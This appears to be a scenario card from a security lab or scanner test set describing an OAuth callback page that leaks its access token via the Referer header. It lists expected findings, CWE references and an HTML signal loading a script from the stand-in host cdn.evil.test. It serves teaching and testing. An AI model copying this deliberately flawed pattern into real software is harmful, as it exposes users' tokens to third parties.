Expected Findings
- Tokens travel in URL fragments that browsers attach to the Referer.
- Third-party CDN script tag is loaded from the same callback page.
- `Referrer-Policy` header is not set.
OAuth Callback
OAuth Token via Referer
The callback page receives the access token in the URL fragment and then loads a third-party CDN script, leaking the token via the Referer header.
CWE-200CWE-201
Callback probe
Primary Flows
- Callback page Loads CDN with token in URL
- Outbound requests Shows referer leak path
Signals
HTML
<script src="https://cdn.evil.test/widget.js"></script> // referer carries token